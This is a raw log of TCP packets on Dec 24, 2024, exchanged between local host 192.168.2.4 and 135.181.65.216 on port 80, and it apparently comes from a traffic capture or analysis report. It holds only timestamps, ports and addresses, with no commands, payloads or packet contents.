Dec 24, 2024 22:27:20.314287901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.314325094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.314517975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.314564943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.315072060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.315119982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.315139055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.315150023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.315186024 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.315402985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.315450907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.315900087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.315951109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.316010952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316023111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316063881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.316267014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316314936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.316772938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316821098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.316847086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316857100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.316895008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.317167044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.317214966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.317673922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.317724943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.317747116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.317758083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.317797899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.317991972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.318041086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.318536043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.318586111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.318655014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.318665981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.318708897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.318897963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.318947077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.319365978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.319417953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.319436073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.319446087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.319485903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.319803953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.319854975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.320216894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.320228100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.320270061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.320375919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.320386887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.320430040 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.321105003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321152925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.321172953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321182966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321222067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.321393967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321441889 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.321938992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321949959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.321990967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.322400093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.322408915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.322448969 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.322781086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.322830915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.322849989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.322860956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.322891951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.322907925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.323097944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.323139906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.323721886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.323776007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.323795080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.323805094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.323834896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.323844910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.323997021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.324049950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.395021915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395041943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395047903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395270109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395292044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.395431042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395446062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395461082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.395487070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.395687103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395698071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.395745039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396153927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396205902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396244049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396251917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396284103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396298885 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396656036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396708012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396725893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396735907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.396775007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.396962881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.397011042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.397509098 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.397517920 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.397557974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.397639990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.397650003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.397691011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.398386002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.398432970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.398451090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.398461103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.398492098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.398507118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.398696899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.398746014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.399287939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.399301052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.399316072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.399343014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.399369955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.399549961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.399600029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.400074005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400121927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.400141954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400152922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400192976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.400409937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400458097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.400943041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400954962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.400998116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.419914961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420044899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420054913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420176983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420176983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420176983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420243979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420351028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420391083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420407057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420418024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420428038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.420435905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420453072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.420484066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.421124935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.421178102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.421206951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.421217918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.421260118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.421441078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.421488047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.421989918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422041893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.422065020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422076941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422115088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.422347069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422396898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.422827005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422873020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.422916889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422925949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.422970057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.503525972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.503567934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.503577948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.503597021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.503693104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.503703117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.503741980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.503984928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.503994942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504004955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504034996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.504062891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.504393101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504437923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.504456997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504467010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504504919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.504743099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.504786015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.505270958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.505316973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.505335093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.505345106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.505536079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.505561113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.505595922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.554136038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.673652887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975009918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975066900 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.975100040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975111008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975146055 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.975322008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975497961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975507021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975545883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.975732088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975770950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.975877047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.975923061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.976274967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.976398945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.976411104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.976448059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.976608992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.976653099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.977195024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.977240086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.977252960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.977277994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.977298975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.977314949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.977510929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.977562904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.977989912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978038073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.978069067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978080988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978117943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.978307962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978357077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.978801012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978849888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.978918076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978928089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.978959084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.979173899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.979223967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.979747057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.979794025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.979811907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.979823112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.979859114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.980015039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.980062008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.980545044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.980595112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.980664968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.980674982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.980710983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.980856895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.980912924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.981379032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.981426954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.981488943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.981499910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.981538057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.981717110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.981766939 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.982261896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.982312918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.982342958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.982353926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.982381105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.982605934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.982652903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.983129978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.983175039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.983223915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.983234882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.983264923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.983508110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.983558893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.984030008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984078884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.984107018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984118938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984155893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.984366894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984415054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.984852076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984900951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.984972954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.984985113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.985023022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.985193968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.985241890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.985683918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.985729933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.985770941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.985780954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.985812902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.985822916 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.986020088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.986073017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.986552000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.986598015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.986664057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.986675024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.986711025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.986891031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.986936092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.987426043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.987477064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.987534046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.987544060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.987587929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.987739086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.987787008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.988255024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.988302946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.988404036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.988454103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:21.455652952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:21.455668926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:21.575218916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:21.575231075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:21.887449980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:21.887520075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:21.930757999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.050403118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.355701923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.355787039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.355839014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.355851889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.355884075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.355900049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.358489990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.478013992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.783237934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:22.783319950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.799575090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:22.919176102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:23.225812912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:23.225996971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:23.249377012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:23.368885040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:23.673518896 CET	80	49749	135.181.65.216	192.168.2.4
